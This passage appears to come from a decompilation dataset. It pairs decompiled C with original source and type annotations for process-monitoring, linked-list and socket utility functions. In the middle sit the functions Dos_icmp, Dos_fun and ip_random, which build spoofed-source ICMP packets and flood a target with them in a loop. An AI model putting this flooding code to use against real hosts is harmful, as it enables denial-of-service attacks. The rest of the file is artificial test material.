*(_QWORD *)(a1 + 32) = v9.tv_usec;
result = 0LL;
}
return result;
}

original_code:
int process_monitor(struct process *proc)
{
 int j = get_jiffies(proc);
 if (j<0) return -1;
 struct timeval now;
 gettimeofday(&now, ((void *)0));
 if (proc->last_jiffies==-1) {
  proc->last_sample.tv_sec = now.tv_sec;
  proc->last_sample.tv_usec = now.tv_usec;
  proc->last_jiffies = j;
  proc->cpu_usage = -1;
  return 0;
 }
 long dt = timediff(&now, &(proc->last_sample));
 double max_jiffies = dt * ((double)sysconf(_SC_CLK_TCK)) / 1000000.0;
 double sample = (j - proc->last_jiffies) / max_jiffies;
 if (proc->cpu_usage == -1) {
  proc->cpu_usage = sample;
 }
 else {
  proc->cpu_usage = (1-0.08) * proc->cpu_usage + 0.08 * sample;
 }
 proc->last_sample.tv_sec = now.tv_sec;
 proc->last_sample.tv_usec = now.tv_usec;
 proc->last_jiffies = j;
 return 0;
}

variable_types: j int

variable_types: struct timeval { long tv_sec; long tv_usec; }

variable_types: dt long

variable_types: sample double


decompiled_code:
__int64 __fastcall process_close(__pid_t *a1)
{
if ( kill(*a1, 18) )
fprintf(stderr, "Process %d is already dead!\n", (unsigned int)*a1);
*a1 = 0;
return 0LL;
}

canonical_decompiled_code:
__int64 __fastcall func7(__pid_t *a1)
{
if ( kill(*a1, 18) )
fprintf(stderr, "Process %d is already dead!\n", (unsigned int)*a1);
*a1 = 0;
return 0LL;
}

original_code:
int process_close(struct process *proc)
{
 if (kill(proc->pid,18)!=0) {
  fprintf(stderr,"Process %d is already dead!\n", proc->pid);
 }
 proc->pid = 0;
 return 0;
}


original_code:
void init_list(struct list *l,int keysize) {
 l->first=l->last=((void *)0);
 l->keysize=keysize;
 l->count=0;
}

canonical_original_code:
void init_list(struct list *l, int keysize) {
 l->first=l->last=((void *)0);
 l->keysize=keysize;
 l->count=0;
}

variable_types: struct list { struct list_node { void *data; struct list_node *previous; struct list_node *next; } *first; struct list_node *last; int keysize; int count; } *

variable_types: keysize int

return_type: void

user_defined_types: struct list { struct list_node *first; struct list_node *last; int keysize; int count; }


original_code:
void delete_node(struct list *l,struct list_node *node) {
 if (l->count==1) {
  l->first=l->last=((void *)0);
 }
 else if (node==l->first) {
  node->next->previous=((void *)0);
  l->first=node->next;
 }
 else if (node==l->last) {
  node->previous->next=((void *)0);
  l->last=node->previous;
 }
 else {
  node->previous->next=node->next;
  node->next->previous=node->previous;
 }
 l->count--;
 free(node);
 node = ((void *)0);
}

canonical_original_code:
void delete_node(struct list *l, struct list_node *node) {
 if (l->count==1) {
  l->first=l->last=((void *)0);
 }
 else if (node==l->first) {
  node->next->previous=((void *)0);
  l->first=node->next;
 }
 else if (node==l->last) {
  node->previous->next=((void *)0);
  l->last=node->previous;
 }
 else {
  node->previous->next=node->next;
  node->next->previous=node->previous;
 }
 l->count--;
 free(node);
 node = ((void *)0);
}

variable_types:
node
struct list_node *

user_defined_types: struct list_node { void *data; struct list_node *previous; struct list_node *next; }


decompiled_code:
void __fastcall destroy_node(__int64 a1, void **a2)
{
free(*a2);
*a2 = 0LL;
delete_node(a1, a2);
}

canonical_decompiled_code:
void __fastcall func2(__int64 a1, void **a2)
{
free(*a2);
*a2 = 0LL;
func1(a1, a2);
}

original_code:
void destroy_node(struct list *l,struct list_node *node) {
 free(node->data);
 node->data=((void *)0);
 delete_node(l,node);
}

canonical_original_code:
void destroy_node(struct list *l, struct list_node *node) {
 free(node->data);
 node->data=((void *)0);
 delete_node(l,node);
}


decompiled_code:
_BOOL8 __fastcall is_EMPTYLIST_list(__int64 a1)
{
return *(_DWORD *)(a1 + 20) == 0;
}

canonical_decompiled_code:
_BOOL8 __fastcall func3(__int64 a1)
{
return *(_DWORD *)(a1 + 20) == 0;
}

original_code:
int is_EMPTYLIST_list(struct list *l) {
 return (l->count==0?1:0);
}


decompiled_code:
__int64 __fastcall get_list_count(__int64 a1)
{
return *(unsigned int *)(a1 + 20);
}

canonical_decompiled_code:
__int64 __fastcall func4(__int64 a1)
{
return *(unsigned int *)(a1 + 20);
}

original_code:
int get_list_count(struct list *l) {
 return l->count;
}


decompiled_code:
__int64 __fastcall first_elem(__int64 a1)
{
return **(_QWORD **)a1;
}

canonical_decompiled_code:
__int64 __fastcall func5(__int64 a1)
{
return **(_QWORD **)a1;
}

original_code:
void *first_elem(struct list *l) {
 return l->first->data;
}

return_type: void *


decompiled_code:
__int64 __fastcall first_node(__int64 a1)
{
return *(_QWORD *)a1;
}

canonical_decompiled_code:
__int64 __fastcall func6(__int64 a1)
{
return *(_QWORD *)a1;
}

original_code:
struct list_node *first_node(struct list *l) {
 return l->first;
}

variable_types: struct list { struct list_node *first; struct list_node *last; int keysize; int count; } *

return_type: struct list_node { void *data; struct list_node *previous; struct list_node *next; } *


decompiled_code:
__int64 __fastcall last_elem(__int64 a1)
{
return **(_QWORD **)(a1 + 8);
}

canonical_decompiled_code:
__int64 __fastcall func7(__int64 a1)
{
return **(_QWORD **)(a1 + 8);
}

original_code:
void *last_elem(struct list *l) {
 return l->last->data;
}


decompiled_code:
__int64 __fastcall last_node(__int64 a1)
{
return *(_QWORD *)(a1 + 8);
}

canonical_decompiled_code:
__int64 __fastcall func8(__int64 a1)
{
return *(_QWORD *)(a1 + 8);
}

original_code:
struct list_node *last_node(struct list *l) {
 return l->last;
}


original_code:
void flush_list(struct list *l) {
 struct list_node *tmp;
 while(l->first!=((void *)0)) {
  tmp=l->first;
  l->first=l->first->next;
  free(tmp);
  tmp=((void *)0);
 }
 l->last=((void *)0);
 l->count=0;
}

variable_types: struct list_node { void *data; struct list_node *previous; struct list_node *next; } *


original_code:
void destroy_list(struct list *l) {
 struct list_node *tmp;
 while(l->first!=((void *)0)) {
  tmp=l->first;
  l->first=l->first->next;
  free(tmp->data);
  tmp->data=((void *)0);
  free(tmp);
  tmp=((void *)0);
 }
 l->last=((void *)0);
 l->count=0;
}


decompiled_code:
__int64 __fastcall seek_process(__int64 a1, int a2)
{
__int64 result; // rax
int v3[3]; // [rsp+Ch] [rbp-Ch] BYREF

v3[0] = a2;
result = *(_QWORD *)(a1 + 8LL * (((unsigned __int16)a2 ^ (unsigned __int16)(a2 >> 8)) & 0x3FF) + 32);
if ( result )
result = locate_elem(result, v3);
return result;
}

canonical_decompiled_code:
__int64 __fastcall func2(__int64 a1, int a2)
{
__int64 result; // rax
int v3[3]; // [rsp+Ch] [rbp-Ch] BYREF

v3[0] = a2;
result = *(_QWORD *)(a1 + 8LL * (((unsigned __int16)a2 ^ (unsigned __int16)(a2 >> 8)) & 0x3FF) + 32);
if ( result )
result = locate_elem(result, v3);
return result;
}

original_code:
static struct process *seek_process(struct process_family *f, pid_t pid)
{
 struct list **l = &(f->proctable[((((pid) >> 8) ^ (pid)) & (1024 - 1))]);
 return (*l != ((void *)0)) ? (struct process*)locate_elem(*l, &pid) : ((void *)0);
}

canonical_original_code:
static struct process *seek_process(struct process_family *f, int pid)
{
 struct list **l = &(f->proctable[((((pid) >> 8) ^ (pid)) & (1024 - 1))]);
 return (*l != ((void *)0)) ? (struct process *)locate_elem(*l, &pid) : ((void *)0);
}

variable_types: struct process_family { int father; struct list { struct list_node { void *data; struct list_node *previous; struct list_node *next; } *first; struct list_node *last; int keysize; int count; } members; struct list *proctable[1024]; int count; } *

variable_types: struct list { struct list_node { void *data; struct list_node *previous; struct list_node *next; } *first; struct list_node *last; int keysize; int count; } **

return_type: struct process { int pid; int ppid; int starttime; int member; int last_jiffies; struct timeval { long tv_sec; long tv_usec; } last_sample; double cpu_usage; int is_zombie; char command[-1]; char stat_file[20]; char buffer[1024]; } *

user_defined_types: struct process_family { int father; struct list members; struct list *proctable[1024]; int count; }


decompiled_code:
_BOOL8 __fastcall process_exists(unsigned int a1)
{
char v2[32]; // [rsp+0h] [rbp-B8h] BYREF
struct stat v3; // [rsp+20h] [rbp-98h] BYREF

snprintf(v2, 0x14uLL, "/proc/%d", a1);
return stat(v2, &v3) == 0;
}

canonical_decompiled_code:
_BOOL8 __fastcall func3(unsigned int a1)
{
char v2[32]; // [rsp+0h] [rbp-B8h] BYREF
struct stat v3; // [rsp+20h] [rbp-98h] BYREF

snprintf(v2, 0x14uLL, "/proc/%d", a1);
return stat(v2, &v3) == 0;
}

original_code:
static int process_exists(pid_t pid) {
 char procdir[20];
 struct stat procstat;
 snprintf(procdir, sizeof(procdir), "/proc/%d", pid);
 return stat(procdir, &procstat)==0;
}

canonical_original_code:
static int process_exists(int pid) {
 char procdir[20];
 struct stat procstat;
 snprintf(procdir, sizeof(procdir), "/proc/%d", pid);
 return stat(procdir, &procstat)==0;
}

variable_types: pid int

variable_types:
procdir
char [20]

variable_types: struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }

user_defined_types: struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }


decompiled_code:
void __fastcall unhash_process(__int64 a1, int a2)
{
__int64 v3; // rbx
__int64 v4; // rdi
__int64 v5; // rsi
int v6[7]; // [rsp+Ch] [rbp-1Ch] BYREF

v3 = (((unsigned __int16)a2 ^ (unsigned __int16)(a2 >> 8)) & 0x3FF) + 4LL;
v6[0] = a2;
v4 = *(_QWORD *)(a1 + 8 * v3);
if ( v4 )
{
v5 = locate_node(v4, v6);
if ( v5 )
destroy_node(*(_QWORD *)(a1 + 8 * v3), v5);
--*(_DWORD *)(a1 + 8224);
}
}

original_code:
static void unhash_process(struct process_family *f, pid_t pid) {
 struct list **l = &(f->proctable[((((pid) >> 8) ^ (pid)) & (1024 - 1))]);
 if (*l == ((void *)0))
  return;
 struct list_node *node = locate_node(*l, &pid);
 if (node != ((void *)0))
  destroy_node(*l, node);
 f->count--;
}

canonical_original_code:
static void unhash_process(struct process_family *f, int pid) {
 struct list **l = &(f->proctable[((((pid) >> 8) ^ (pid)) & (1024 - 1))]);
 if (*l == ((void *)0))
  return;
 struct list_node *node = locate_node(*l, &pid);
 if (node != ((void *)0))
  destroy_node(*l, node);
 f->count--;
}


decompiled_code:
void __fastcall remove_process_from_family(__int64 a1, int a2)
{
__int64 v2; // rax
int v3[7]; // [rsp+Ch] [rbp-1Ch] BYREF

v3[0] = a2;
v2 = locate_node(a1 + 8, v3);
if ( v2 )
delete_node(a1 + 8, v2);
unhash_process(a1, v3[0]);
}

canonical_decompiled_code:
void __fastcall func9(__int64 a1, int a2)
{
__int64 v2; // rax
int v3[7]; // [rsp+Ch] [rbp-1Ch] BYREF

v3[0] = a2;
v2 = locate_node(a1 + 8, v3);
if ( v2 )
delete_node(a1 + 8, v2);
func4(a1, v3[0]);
}

original_code:
void remove_process_from_family(struct process_family *f, pid_t pid)
{
 struct list_node *node = locate_node(&(f->members), &pid);
 if (node != ((void *)0)) {
  delete_node(&(f->members), node);
 }
 unhash_process(f, pid);
}

canonical_original_code:
void remove_process_from_family(struct process_family *f, int pid)
{
 struct list_node *node = locate_node(&(f->members), &pid);
 if (node != ((void *)0)) {
  delete_node(&(f->members), node);
 }
 unhash_process(f, pid);
}


decompiled_code:
__int64 __fastcall look_for_process_by_pid(__pid_t pid)
{
__int64 result; // rax
int v2; // er8

result = process_exists(pid);
if ( (_DWORD)result )
{
v2 = kill(pid, 0);
result = (unsigned int)-pid;
if ( !v2 )
result = (unsigned int)pid;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func12(__pid_t pid)
{
__int64 result; // rax
int v2; // er8

result = func3(pid);
if ( (_DWORD)result )
{
v2 = kill(pid, 0);
result = (unsigned int)-pid;
if ( !v2 )
result = (unsigned int)pid;
}
return result;
}

original_code:
int look_for_process_by_pid(pid_t pid)
{
 if (process_exists(pid))
  return (kill(pid,0)==0) ? pid : -pid;
 return 0;
}

canonical_original_code:
int look_for_process_by_pid(int pid)
{
 if (process_exists(pid))
  return (kill(pid,0)==0) ? pid : -pid;
 return 0;
}


decompiled_code:
__int64 ip_random()
{
unsigned int v0; // eax

v0 = time(0LL);
srand(v0);
return random();
}

canonical_decompiled_code:
__int64 func7()
{
unsigned int v0; // eax

v0 = time(0LL);
srand(v0);
return random();
}

original_code:
static long int ip_random(void)
{
 long int random_ip;
 srand(time(0));
 random_ip = random();
 return random_ip;
}

canonical_original_code:
static long ip_random()
{
 long random_ip;
 srand(time(0));
 random_ip = random();
 return random_ip;
}

return_type: long


original_code:
static void Dos_icmp(void)
{
 struct sockaddr_in to;
 struct in_addr addr_temp;
 struct ip *iph;
 struct icmp *icmph;
 char *packet;
 int pktsize = sizeof(struct ip) + sizeof(struct icmp) +64;
 packet = malloc(pktsize);
 iph = (struct ip *)packet;
 icmph = (struct icmp *)(packet + sizeof(struct ip));
 memset(packet, 0, pktsize);
 iph->ip_v = 4;
 iph->ip_hl = 5;
 iph->ip_tos = 0;
 iph->ip_len = htons(pktsize);
 iph->ip_id = htons(getpid());
 iph->ip_off = 0;
 iph->ip_ttl = 0x0;
 iph->ip_p = IPPROTO_ICMP;
 iph->ip_sum = 0;
 addr_temp.s_addr = ip_random();
 iph->ip_src = addr_temp;
 addr_temp.s_addr = dest;
 iph->ip_dst = addr_temp;
 icmph->icmp_type = 8;
 icmph->icmp_code = 0;
 icmph->icmp_cksum = htons(~(8 << 8));
 to.sin_family = 2;
 to.sin_addr.s_addr = iph->ip_dst.s_addr;
 to.sin_port = htons(0);
 sendto(rawsock, packet, pktsize, 0, (struct sockaddr *)&to, sizeof(struct sockaddr));
 free(packet);
}

canonical_original_code:
static void Dos_icmp()
{
 struct sockaddr_in to;
 struct in_addr addr_temp;
 struct ip *iph;
 struct icmp *icmph;
 char *packet;
 int pktsize = sizeof(struct ip) + sizeof(struct icmp) +64;
 packet = malloc(pktsize);
 iph = (struct ip *)packet;
 icmph = (struct icmp *)(packet + sizeof(struct ip));
 memset(packet, 0, pktsize);
 iph->ip_v = 4;
 iph->ip_hl = 5;
 iph->ip_tos = 0;
 iph->ip_len = htons(pktsize);
 iph->ip_id = htons(getpid());
 iph->ip_off = 0;
 iph->ip_ttl = 0x0;
 iph->ip_p = IPPROTO_ICMP;
 iph->ip_sum = 0;
 addr_temp.s_addr = ip_random();
 iph->ip_src = addr_temp;
 addr_temp.s_addr = dest;
 iph->ip_dst = addr_temp;
 icmph->icmp_type = 8;
 icmph->icmp_code = 0;
 icmph->icmp_cksum = htons(~(8 << 8));
 to.sin_family = 2;
 to.sin_addr.s_addr = iph->ip_dst.s_addr;
 to.sin_port = htons(0);
 sendto(rawsock, packet, pktsize, 0, (struct sockaddr *)&to, sizeof(struct sockaddr));
 free(packet);
}

variable_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }

variable_types: struct ip { unsigned int ip_hl; unsigned int ip_v; unsigned char ip_tos; unsigned short ip_len; unsigned short ip_id; unsigned short ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short ip_sum; struct in_addr { unsigned int s_addr; } ip_src; } *

variable_types: struct icmp { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_cksum; union { unsigned char ih_pptr; struct in_addr { unsigned int s_addr; } ih_gwaddr; struct ih_idseq { unsigned short icd_id; unsigned short icd_seq; } ih_idseq; unsigned int ih_void; struct ih_pmtu { unsigned short ipm_void; unsigned short ipm_nextmtu; } ih_pmtu; struct ih_rtradv { unsigned char irt_num_addrs; unsigned char irt_wpa; unsigned short irt_lifetime; } ih_rtradv; } icmp_hun; union { struct { unsigned int its_otime; unsigned int its_rtime; unsigned int its_ttime; } id_ts; struct { struct ip { unsigned int ip_hl; unsigned int ip_v; unsigned char ip_tos; unsigned short ip_len; unsigned short ip_id; unsigned short ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short ip_sum; struct in_addr ip_src; } idi_ip; } id_ip; struct icmp_ra_addr { unsigned int ira_addr; unsigned int ira_preference; } id_radv; unsigned int id_mask; unsigned char id_data[1]; } icmp_dun; } *

variable_types:
packet
char *

variable_types: pktsize int

user_defined_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }

user_defined_types: struct sockaddr { unsigned short sa_family; char sa_data[14]; }

user_defined_types: struct icmp { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_cksum; union { unsigned char ih_pptr; struct in_addr ih_gwaddr; struct ih_idseq ih_idseq; unsigned int ih_void; struct ih_pmtu ih_pmtu; struct ih_rtradv ih_rtradv; } icmp_hun; union { struct { unsigned int its_otime; unsigned int its_rtime; unsigned int its_ttime; } id_ts; struct { struct ip idi_ip; } id_ip; struct icmp_ra_addr id_radv; unsigned int id_mask; unsigned char id_data[1]; } icmp_dun; }


decompiled_code:
unsigned __int64 __fastcall Dos_fun(void *a1)
{
unsigned __int64 result; // rax

for ( ; alive; result = (unsigned int)alive )
Dos_icmp();
return result;
}

canonical_decompiled_code:
unsigned __int64 __fastcall func10(void *a1)
{
unsigned __int64 result; // rax

for ( ; alive; result = (unsigned int)alive )
func9();
return result;
}

original_code:
static void *
Dos_fun(void *arg)
{
 while(alive)
 {
     Dos_icmp();
 }
}

canonical_original_code:
static void *Dos_fun(void *arg)
{
 while(alive)
 {
     Dos_icmp();
 }
}

variable_types:
arg
void *


decompiled_code:
__int64 __fastcall icmp_cksum(unsigned __int16 *a1, int a2)
{
unsigned int v2; // esi
unsigned __int16 *v3; // rcx
int v4; // eax
int v5; // edx
unsigned __int16 v7; // [rsp+0h] [rbp-2h]

if ( a2 <= 1 )
{
v3 = a1;
v4 = 0;
}
else
{
v2 = a2 - 2;
v3 = &a1[(v2 >> 1) + 1];
v4 = 0;
do
{
v5 = *a1++;
v4 += v5;
}
while ( a1 != v3 );
a2 = v2 - 2 * (v2 >> 1);
}
if ( a2 == 1 )
{
LOBYTE(v7) = *(_BYTE *)v3;
v4 += v7;
}
return (unsigned __int16)~(v4 + HIWORD(v4) + (((unsigned int)(unsigned __int16)v4 + (v4 >> 16)) >> 16));
}

original_code:
int32_t icmp_cksum(void *data, int length)
{
 int left = length;
 uint16_t *wd = (uint16_t *)data;
 int sum = 0;
 uint16_t temp;
 while(left > 1)
 {
  sum += *wd++;
  left -= 2;
 }
 if(left == 1)
 {
  *((uint8_t *)(&temp)) = *((uint8_t *)wd);
  sum += temp;
 }
 sum = (sum >> 16) + (sum&0xffff);
 sum += (sum >> 16);
 temp = ~sum;
 return temp;
}

canonical_original_code:
int icmp_cksum(void *data, int length)
{
 int left = length;
 unsigned short *wd = (uint16_t *)data;
 int sum = 0;
 unsigned short temp;
 while(left > 1)
 {
  sum += *wd++;
  left -= 2;
 }
 if(left == 1)
 {
  *((unsigned char *)(&temp)) = *((unsigned char *)wd);
  sum += temp;
 }
 sum = (sum >> 16) + (sum&0xffff);
 sum += (sum >> 16);
 temp = ~sum;
 return temp;
}

variable_types:
data
void *

variable_types: length int

variable_types: left int

variable_types:
wd
unsigned short *

variable_types: sum int

variable_types:
temp
unsigned short


decompiled_code:
void __fastcall utility_ctons(__int64 a1, __int64 a2, int a3)
{
__int64 i; // rax

if ( a3 > 0 )
{
for ( i = 0LL; i != a3; ++i )
*(_BYTE *)(a1 + i) = *(_BYTE *)(a2 + i);
}
}

original_code:
void utility_ctons(char* nstring, const char* cstring, int len)
{
  int i;
  for(i=0; i<len; ++i)
    nstring[i] = cstring[i];
}

canonical_original_code:
void utility_ctons(char *nstring, char *cstring, int len)
{
  int i;
  for(i=0; i<len; ++i)
    nstring[i] = cstring[i];
}

variable_types:
nstring
char *

variable_types:
cstring
char *

variable_types: len int

variable_types: i int


decompiled_code:
int __fastcall utility_create_sockaddr(__int64 a1, const char *a2, __int16 a3)
{
int result; // eax

*(_OWORD *)a1 = 0LL;
if ( !a2 || (result = inet_aton(a2, (struct in_addr *)(a1 + 4)), result != -1) )
{
*(_WORD *)(a1 + 2) = _bswap_16(a3);
*(_WORD *)a1 = 2;
result = 0;
}
return result;
}

canonical_decompiled_code:
int __fastcall func3(__int64 a1, const char *a2, __int16 a3)
{
int result; // eax

*(_OWORD *)a1 = 0LL;
if ( !a2 || (result = inet_aton(a2, (struct in_addr *)(a1 + 4)), result != -1) )
{
*(_WORD *)(a1 + 2) = func2(a3);
*(_WORD *)a1 = 2;
result = 0;
}
return result;
}

original_code:
int utility_create_sockaddr(struct sockaddr_in * addr, const char * ip, port_t port)
{
  memset( addr, 0, sizeof(struct sockaddr_in) );
  if(ip != ((void *)0))
    {
      if( inet_aton(ip, & addr->sin_addr) == -1 ) return -1;
    }
  else
    {
      addr->sin_addr.s_addr = ((in_addr_t) 0x00000000);
    }
  addr->sin_port = htons(port);
  addr->sin_family = 2;
  return 0;
}

canonical_original_code:
int utility_create_sockaddr(struct sockaddr_in *addr, char *ip, unsigned short port)
{
  memset( addr, 0, sizeof(struct sockaddr_in) );
  if(ip != ((void *)0))
    {
      if( inet_aton(ip, & addr->sin_addr) == -1 ) return -1;
    }
  else
    {
      addr->sin_addr.s_addr = ((unsigned int) 0x00000000);
    }
  addr->sin_port = htons(port);
  addr->sin_family = 2;
  return 0;
}

variable_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; } *

variable_types:
ip
char *

variable_types:
port
unsigned short


decompiled_code:
int __fastcall utility_getsockaddr(void *dest, char *name, __int16 a3)
{
int result; // eax
struct addrinfo *v5; // rbp
struct addrinfo *pai; // [rsp+0h] [rbp-50h] BYREF
struct addrinfo req; // [rsp+8h] [rbp-48h] BYREF

*(_OWORD *)&req.ai_flags = 0LL;
*(_OWORD *)&req.ai_addrlen = 0LL;
req.ai_family = 2;
*(_OWORD *)&req.ai_canonname = 0LL;
result = getaddrinfo(name, 0LL, &req, &pai);
if ( result != -1 )
{
v5 = pai;
if ( pai )
{
memcpy(dest, pai->ai_addr, pai->ai_addrlen);
*((_WORD *)dest + 1) = _bswap_16(a3);
freeaddrinfo(v5);
result = 0;
}
else
{
result = -1;
}
}
return result;
}

canonical_decompiled_code:
int __fastcall func4(void *dest, char *name, __int16 a3)
{
int result; // eax
struct addrinfo *v5; // rbp
struct addrinfo *pai; // [rsp+0h] [rbp-50h] BYREF
struct addrinfo req; // [rsp+8h] [rbp-48h] BYREF

*(_OWORD *)&req.ai_flags = 0LL;
*(_OWORD *)&req.ai_addrlen = 0LL;
req.ai_family = 2;
*(_OWORD *)&req.ai_canonname = 0LL;
result = getaddrinfo(name, 0LL, &req, &pai);
if ( result != -1 )
{
v5 = pai;
if ( pai )
{
memcpy(dest, pai->ai_addr, pai->ai_addrlen);
*((_WORD *)dest + 1) = func2(a3);
freeaddrinfo(v5);
result = 0;
}
else
{
result = -1;
}
}
return result;
}

original_code:
int utility_getsockaddr(struct sockaddr_in * addr, const char * node, port_t port)
{
  struct addrinfo hints = {0, 2, 0, 0, 0, ((void *)0), ((void *)0), ((void *)0)};
  struct addrinfo * res;
  if( getaddrinfo(node, ((void *)0), &hints, &res) == -1 ) return -1;
  if(res == ((void *)0)) return -1;
  else
    {
      memcpy(addr, res->ai_addr, res->ai_addrlen);
      addr->sin_port = htons(port);
      freeaddrinfo(res);
      return 0;
    }
}

canonical_original_code:
int utility_getsockaddr(struct sockaddr_in *addr, char *node, unsigned short port)
{
  struct addrinfo hints = {0, 2, 0, 0, 0, ((void *)0), ((void *)0), ((void *)0)};
  struct addrinfo *res;
  if( getaddrinfo(node, ((void *)0), &hints, &res) == -1 ) return -1;
  if(res == ((void *)0)) return -1;
  else
    {
      memcpy(addr, res->ai_addr, res->ai_addrlen);
      addr->sin_port = htons(port);
      freeaddrinfo(res);
      return 0;
    }
}

variable_types:
node
char *

variable_types: struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr { unsigned short sa_family; char sa_data[14]; } *ai_addr; char *ai_canonname; struct addrinfo *ai_next; } *

user_defined_types: struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; unsigned int ai_addrlen; struct sockaddr *ai_addr; char *ai_canonname; struct addrinfo *ai_next; }


decompiled_code:
int __fastcall utility_itoa(unsigned int a1, char *a2, int a3)
{
return snprintf(a2, a3, "%d", a1);
}

canonical_decompiled_code:
int __fastcall func5(unsigned int a1, char *a2, int a3)
{
return snprintf(a2, a3, "%d", a1);
}

original_code:
void utility_itoa(int i, char * ascii, int maxlen)
{
  snprintf(ascii, maxlen, "%d", i);
}

canonical_original_code:
void utility_itoa(int i, char *ascii, int maxlen)
{
  snprintf(ascii, maxlen, "%d", i);
}

variable_types:
ascii
char *

variable_types: maxlen int


decompiled_code:
void __fastcall utility_ServerCommandLine(int a1, __int64 a2, _WORD *a3, int *a4)
{
__int64 v7; // rbx
int v8; // ebp
const char *v9; // rdi
const char *v10; // rdi

if ( a1 > 0 )
{
v7 = 0LL;
while ( 1 )
{
v8 = v7 + 1;
if ( a3 && !strcmp(*(const char **)(a2 + 8LL * (int)v7), "--port") )
{
if ( a1 <= v8 )
return;
v10 = *(const char **)(a2 + 8LL * (int)v7 + 8);
if ( *v10 != 45 )
{
v8 = v7 + 2;
*a3 = atoi(v10);
goto LABEL_12;
}
LABEL_16:
v7 = v8;
}
else
{
if ( !a4 || strcmp(*(const char **)(a2 + 8 * v7), "--maxpending") )
goto LABEL_12;
if ( a1 <= v8 )
return;
v9 = *(const char **)(a2 + 8 * v7 + 8);
if ( *v9 == 45 )
goto LABEL_16;
v8 = v7 + 2;
*a4 = atoi(v9);
LABEL_12:
v7 = v8;
if ( a1 <= v8 )
return;
}
}
}
}

canonical_decompiled_code:
void __fastcall func6(int a1, __int64 a2, _WORD *a3, int *a4)
{
__int64 v7; // rbx
int v8; // ebp
const char *v9; // rdi
const char *v10; // rdi

if ( a1 > 0 )
{
v7 = 0LL;
while ( 1 )
{
v8 = v7 + 1;
if ( a3 && !strcmp(*(const char **)(a2 + 8LL * (int)v7), "--port") )
{
if ( a1 <= v8 )
return;
v10 = *(const char **)(a2 + 8LL * (int)v7 + 8);
if ( *v10 != 45 )
{
v8 = v7 + 2;
*a3 = atoi(v10);
goto LABEL_12;
}
LABEL_16:
v7 = v8;
}
else
{
if ( !a4 || strcmp(*(const char **)(a2 + 8 * v7), "--maxpending") )
goto LABEL_12;
if ( a1 <= v8 )
return;
v9 = *(const char **)(a2 + 8 * v7 + 8);
if ( *v9 == 45 )
goto LABEL_16;
v8 = v7 + 2;
*a4 = atoi(v9);
LABEL_12:
v7 = v8;
if ( a1 <= v8 )
return;
}
}
}
}

original_code:
void utility_ServerCommandLine(int argc, char ** argv, port_t * port, int * maxpending)
{
  int i;
  for(i=0; i<argc; ++i)
    {
      if( port != ((void *)0) && !strcmp(argv[i], "--port") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *port = atoi(argv[i]);
  }
     }
 }
      else if( maxpending != ((void *)0) && !strcmp(argv[i], "--maxpending") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *maxpending = atoi(argv[i]);
  }
     }
 }
    }
}

canonical_original_code:
void utility_ServerCommandLine(int argc, char **argv, unsigned short *port, int *maxpending)
{
  int i;
  for(i=0; i<argc; ++i)
    {
      if( port != ((void *)0) && !strcmp(argv[i], "--port") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *port = atoi(argv[i]);
  }
     }
 }
      else if( maxpending != ((void *)0) && !strcmp(argv[i], "--maxpending") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *maxpending = atoi(argv[i]);
  }
     }
 }
    }
}

variable_types: argc int

variable_types:
argv
char **

variable_types:
port
unsigned short *

variable_types:
maxpending
int *


original_code:
void utility_ClientCommandLine(int argc, char ** argv, char * host, int maxHostLen, port_t *port, char * data, int maxDataLen)
{
  int i;
  for(i=0; i<argc; ++i)
    {
      if( host != ((void *)0) && !strcmp(argv[i], "--host") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    strncpy(host, argv[i], maxHostLen);
  }
     }
 }
      else if( port != ((void *)0) && !strcmp(argv[i], "--port") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *port = atoi(argv[i]);
  }
     }
 }
      else if( data!=((void *)0) && !strcmp(argv[i], "--message") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    strncpy( data, argv[i], maxDataLen);
  }
     }
 }
    }
}

canonical_original_code:
void utility_ClientCommandLine(int argc, char **argv, char *host, int maxHostLen, unsigned short *port, char *data, int maxDataLen)
{
  int i;
  for(i=0; i<argc; ++i)
    {
      if( host != ((void *)0) && !strcmp(argv[i], "--host") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    strncpy(host, argv[i], maxHostLen);
  }
     }
 }
      else if( port != ((void *)0) && !strcmp(argv[i], "--port") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    *port = atoi(argv[i]);
  }
     }
 }
      else if( data!=((void *)0) && !strcmp(argv[i], "--message") )
 {
   if(i+1 < argc)
     {
       if(argv[i+1][0] != '-')
  {
    ++i;
    strncpy( data, argv[i], maxDataLen);
